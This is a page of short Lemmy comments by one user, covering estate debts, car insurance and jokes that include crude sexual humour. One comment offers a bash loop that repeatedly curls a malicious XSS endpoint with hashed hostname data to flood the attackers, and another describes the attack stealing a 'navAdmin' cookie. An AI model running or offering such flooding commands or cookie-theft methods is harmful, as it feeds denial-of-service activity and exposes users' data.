Gellis12

https://lemmy.ca/comment/1976398

What if walking into the redwood forest is what causes your death? You would’ve lived if you stayed home and played video games instead of going into the forest and getting mauled by a bear

Your estate refers to everything you own. If you own a car, it’ll be sold to cover your debts when you die. Same with your house, all of the food in it, your computer with all of your porn tabs still open, and even your signed vhs collection of rare midget scat porn from the 1990s. It all gets sold off to settle your debts when you die, before it can be distributed to your next of kin.

Your debts cannot be transferred to your next of kin when you die, but they will need to be paid out from your estate before it’s disbursed to your family

Vandalism would normally be covered by comprehensive coverage, and won’t affect your premiums; you’ll just have to pay a deductible. If you tried to do it yourself, you’d never get the paint to match quite right, so you’re better off taking it to an auto body shop to have it professionally repaired.

All I see is hunter2

42 wallaby way Sydney

Neither do mosquitoes though

Sorry, I sneezed

Oh weird, it wasn’t returning anything a few minutes ago. I wonder if we pissed then off lol

It’s essentially to add a unique salt to each machine that’s doing this, otherwise they’d all be generating the same hash from identical timestamps. Afaik, sha hashes are still considered secure; and it’s very unlikely they’d even try to crack one. But even if they did try and were successful, there isn’t really anything nefarious they can do with your machines local name.

Here’s a quick bash script if anyone wants to help flood the attackers with garbage data to hopefully slow them down: while true; do curl https://zelensky.zip/save/$(echo $(hostname) $(date) | shasum | sed 's/.\{3\}$//' | base64); sleep 1; done

Once every second, it grabs your computer name and the current system time, hashes them together to get a completely random string, trims off the shasum control characters and base64 encodes it to make everything look similar to what the attackers would be expecting, and sends it as a request to the same endpoint that their xss attack uses. It’ll run on Linux and macOS (and windows if you have a WSL vm set up!) and uses next to nothing in terms of system resources.

The encoded strings are https://zelensky(dot)zip/save/ and navAdmin

Not just that, it looks for a navAdmin cookie in your browser and sends that to zelensky(dot)zip/save/<your cookie here> in the form of a GET request.